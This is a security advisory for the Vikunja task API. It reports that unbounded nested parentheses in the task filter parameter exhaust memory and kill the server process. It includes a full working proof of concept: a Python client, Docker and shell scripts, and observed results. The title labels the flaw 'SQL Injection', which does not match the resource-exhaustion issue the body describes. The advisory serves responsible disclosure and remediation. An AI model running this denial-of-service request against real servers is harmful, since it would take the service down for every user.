GHSA-xxc3-xpmc-vmvr: SQL Injection
Unbounded nested task-filter recursion permits API process termination
Summary
Authenticated task-list routes accept a filter expression without a length or nesting-depth bound, preprocess it, parse it recursively through fexpr, and recursively convert the resulting expression tree. A syntactically valid deeply nested expression well below the HTTP request-size ceiling exhausts memory and kills the API process.
Impact and affected scope
- Type: Resource Exhaustion Recursive Parser - Affected component: GET /api/v2/projects/{project}/tasks?filter=<nested expression>; Other authenticated task-collection entrypoints that share getTaskFiltersFromFilterString - Preconditions: A low-privileged authenticated user supplies thousands of balanced parentheses around a valid task predicate in the filter query parameter. - Verified revision: 349cd5adbcc831ef08b08e6c9c6d627603c39606 on 28 August 2026 - Affected release range: = 2.5.0; broader historical range not established and maintainer confirmation requested
A single low-privileged network request can terminate the API process and deny service to all users.
Technical details
The server preprocesses and recursively parses/traverses an unbounded filter expression without rejecting excessive length or depth.
Attack path: Authenticate, request an accessible project's task collection with 20,000 nested parenthesis pairs around id = 1, and drive parser and expression-tree memory growth until the process is killed.
Relevant code:
- pkg/models/taskcollectionfilter.go:240 - pkg/models/taskcollectionfilter.go:268 - pkg/models/taskcollectionfilter.go:274 - pkg/models/taskcollectionfilter.go:276 - pkg/models/taskcollectionfilter.go:295
Reproduction
Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.
Create reproduction/Dockerfile:
text FROM golang:1.27.0-alpine
RUN apk add --no-cache bash build-base ca-certificates python3 tzdata
WORKDIR /app COPY . /app RUN chmod +x /app/.sh 2>/dev/null || true
Target source is supplied only at runtime through /target-repo:ro. This image contains build dependencies and reproduction helpers, not a clone.
Create reproduction/client.py:
python #!/usr/bin/env python3 import json import sys import time import urllib.error import urllib.parse import urllib.request
BASE = "http://target:3456"
def request(method, path, body=None, token=None, expected=None, timeout=30): raw = None if body is None else json.dumps(body).encode() headers = {"Accept": "application/json"} if body is not None: headers["Content-Type"] = "application/json" if token: headers["Authorization"] = "Bearer " + token req = urllib.request.Request(BASE + path, data=raw, headers=headers, method=method) try: with urllib.request.urlopen(req, timeout=timeout) as response: status, data = response.status, response.read() except urllib.error.HTTPError as exc: status, data = exc.code, exc.read() print(f"{method} {path[:160]} -> {status} {data[:200].decode(errors='replace')}", flush=True) if expected is not None and status != expected: raise RuntimeError(f"{method}: got {status}, expected {expected}") return status, json.loads(data.decode()) if data else {}
def waitready(): for in range(240): try: if request("GET", "/api/v1/info")[0] == 200: return except Exception: pass time.sleep(0.25) raise RuntimeError("target did not become ready")
def filterpath(projectid, depth): expression = "(" depth + "id = 1" + ")" depth path = f"/api/v2/projects/{projectid}/tasks?filter=" + urllib.parse.quote(expression, safe="") print(f"PoCFILTERREQUEST depth={depth} targetbytes={len(path)}", flush=True) return path
def main(): waitready() username, password = "PoC-filter-user", "PoC-password-123!" request("POST", "/api/v2/register", { "username": username, "email": username + "@example.invalid", "password": password, }, expected=201) , login = request("POST", "/api/v2/login", {"username": username, "password": password}, expected=200) token = login["token"] , project = request("PUT", "/api/v1/projects", {"title": "PoC filter project"}, token, 201)
started = time.monotonic() request("GET", filterpath(project["id"], 1000), token=token, expected=200) print(f"PoCFILTERCONTROL=PASS elapsed={time.monotonic() - started:.3f}s", flush=True)
try: status, = request("GET", filterpath(project["id"], 20000), token=token, timeout=90) raise RuntimeError(f"attack unexpectedly returned HTTP {status}") except (TimeoutError, ConnectionError, urllib.error.URLError, OSError) as exc: print(f"PoCFILTERATTACKDISCONNECTED error={type(exc).name}", flush=True) print("PoCFILTERATTACKSENT depth=20000", flush=True)
if name == "main": try: main() except Exception as exc: print(f"PoCFILTERCLIENT=FAIL {exc}", file=sys.stderr, flush=True) raise
Create reproduction/prepare.sh:
sh #!/usr/bin/env bash set -euo pipefail
mkdir -p /work/repo cp -a /target-repo/. /work/repo/ mkdir -p /work/repo/frontend/dist cp /app/frontend-placeholder.html /work/repo/frontend/dist/index.html
cd /work/repo CGOENABLED=1 go build \ -tags osusergo \ -ldflags '-s -w -X code.vikunja.io/api/pkg/version.Version=PoC-reproduction' \ -o /output/vikunja . chmod 0755 /output/vikunja
if [[ -f /app/probe.go ]]; then go build -o /output/probe /app/probe.go chmod 0755 /output/probe fi
Create reproduction/run.sh:
sh #!/usr/bin/env bash set -euo pipefail
SCRIPTDIR="$(cd "$(dirname "${BASHSOURCE[0]}")" && pwd)" FINDINGDIR="$(cd "${SCRIPTDIR}/.." && pwd)" SESSIONDIR="$(cd "${FINDINGDIR}/.." && pwd)" CASEID="$(basename "${SESSIONDIR}")" FINDINGNAME="$(basename "${FINDINGDIR}")" IMAGETAG="PoC-${CASEID}-${FINDINGNAME}" TARGETREPOURL="https://github.com/go-vikunja/vikunja.git" TARGETREF="349cd5adbcc831ef08b08e6c9c6d627603c39606" WORKDIR="$(mktemp -d "${SESSIONDIR}/.PoC-reproduction.XXXXXX")" TARGETREPODIR="${WORKDIR}/repo" BUILDDIR="${WORKDIR}/build" DATADIR="${WORKDIR}/data" NETWORK="${IMAGETAG}-net-$$" TARGETCONTAINER="${IMAGETAG}-target-$$"
cleanup() { docker rm -f "${TARGETCONTAINER}" >/dev/null 2>&1 || true docker network rm "${NETWORK}" >/dev/null 2>&1 || true rm -rf "${WORKDIR}" } trap cleanup EXIT
mkdir -p "${BUILDDIR}" "${DATADIR}/files" chmod 0777 "${BUILDDIR}" "${DATADIR}" "${DATADIR}/files" echo "[PoC] cloning and pinning target ${TARGETREF}" git clone --filter=blob:none --no-checkout "${TARGETREPOURL}" "${TARGETREPODIR}" git -C "${TARGETREPODIR}" checkout --detach "${TARGETREF}" echo "[PoC] building helper image ${IMAGETAG}" docker build -t "${IMAGETAG}" "${SCRIPTDIR}" docker run --rm -v "${TARGETREPODIR}:/target-repo:ro" -v "${BUILDDIR}:/output" "${IMAGETAG}" /app/prepare.sh docker network create "${NETWORK}" >/dev/null docker run --detach --name "${TARGETCONTAINER}" \ --network "${NETWORK}" --network-alias target \ --memory 512m --memory-swap 512m --pids-limit 256 \ -v "${BUILDDIR}/vikunja:/app/vikunja:ro" --tmpfs /data:rw,exec,mode=1777 \ -e VIKUNJASERVICEINTERFACE=:3456 -e VIKUNJASERVICEPUBLICURL=http://target:3456/ \ -e VIKUNJASERVICEROOTPATH=/data -e VIKUNJASERVICEJWTSECRET=PoC-reproduction-secret \ -e VIKUNJASERVICEENABLEREGISTRATION=true -e VIKUNJADATABASETYPE=sqlite \ -e VIKUNJADATABASEPATH=/data/vikunja.db -e VIKUNJAFILESBASEPATH=/data/files \ -e VIKUNJAMAILERENABLED=false -e VIKUNJAREDISENABLED=false -e VIKUNJALOGHTTP=off \ -e VIKUNJARATELIMITNOAUTHLIMIT=1000 \ "${IMAGETAG}" /app/vikunja web >/dev/null
set +e OUTPUT="$(docker run --rm --network "${NETWORK}" "${IMAGETAG}" python3 /app/client.py 2>&1)" CLIENTSTATUS=$? set -e printf '%s\n' "${OUTPUT}" for in $(seq 1 80); do STATE="$(docker inspect --format '{{.State.OOMKilled}} {{.State.ExitCode}} {{.State.Running}}' "${TARGETCONTAINER}")" [[ "${STATE}" != "false 0 true" ]] && break sleep 0.25 done STATE="$(docker inspect --format '{{.State.OOMKilled}} {{.State.ExitCode}} {{.State.Running}}' "${TARGETCONTAINER}")" echo "PoCFILTERCONTAINER state=${STATE} clientstatus=${CLIENTSTATUS}" if ! grep -q 'PoCFILTERCONTROL=PASS' <<<"${OUTPUT}" || ! grep -q 'PoCFILTERATTACKSENT depth=20000' <<<"${OUTPUT}" || [[ "${STATE}" != "true 137 false" ]]; then echo "[PoC] FAIL: nested filter did not produce the expected cgroup OOM termination" >&2 exit 1 fi echo "PoCFILTERRECURSION=PASS depth=20000 OOMKilled=true ExitCode=137" echo "[PoC] SUCCESS: an approximately 120 KB authenticated request terminated a 512 MiB API process"
Create reproduction/frontend-placeholder.html:
html <!doctype html><title>PoC backend reproduction placeholder</title>
From the directory containing these files, run:
sh chmod +x reproduction/run.sh reproduction/.sh 2>/dev/null || true ./reproduction/run.sh
Expected: A low-privileged request below the server request-size ceiling terminates the API process through unbounded filter parsing.
Observed: Depth 1,000 returned HTTP 200 in 14 ms. The 120,044-byte depth-20,000 request disconnected, and Docker recorded OOMKilled=true, ExitCode=137. The run emitted PoCFILTERRECURSION=PASS.
Verification and controls: The client creates an ordinary account and project, asserts the depth-1,000 route control is HTTP 200, submits depth 20,000, and the host script accepts only the attack marker plus Docker OOMKilled=true and ExitCode=137.
Observed evidence:
- depth=1000 targetbytes=6044: HTTP 200 - depth=20000 targetbytes=120044: RemoteDisconnected - target container: OOMKilled=true, ExitCode=137 - PoCFILTERRECURSION=PASS
Suggested remediation
Enforce the intended authorization, size, cardinality, recursion, or lifecycle boundary before the sensitive operation described above; fail closed; release partial resources on every exit path; and add a regression test that preserves the exploit and negative-control oracles.
Severity
CVSS v4.0: 7.1 (High) — Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
This assessment is preliminary and pending maintainer confirmation. The score was recalculated with the FIRST CVSS v4.0 reference implementation on 28 August 2026.
Disclosure context and attribution
AI-assisted analysis helped surface this issue; the behavior was independently reproduced and validated in an isolated environment.
Reported by the University of Sydney security research team:
- Ziyue Wang (@Zyy0530) - Liyi Zhou (@lzhou1110) - Strick Sheng (@Str1ckl4nd) - Maurice Ng (@mauriceng98) - Chenchen Yu (@7thParkk)
We are happy to answer questions, provide additional verification details, or validate a candidate patch.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/code.vikunja.io/apito a version that resolves this vulnerability.Fixed in 2.6.0 - Compensating control
Before parsing authenticated task-filter expressions, enforce explicit request-size and nesting-depth bounds, fail closed when either boundary is exceeded, release partial parser and expression-tree resources on every exit path, and add a regression test covering the 20,000-level nested-filter exploit and its negative-control behavior.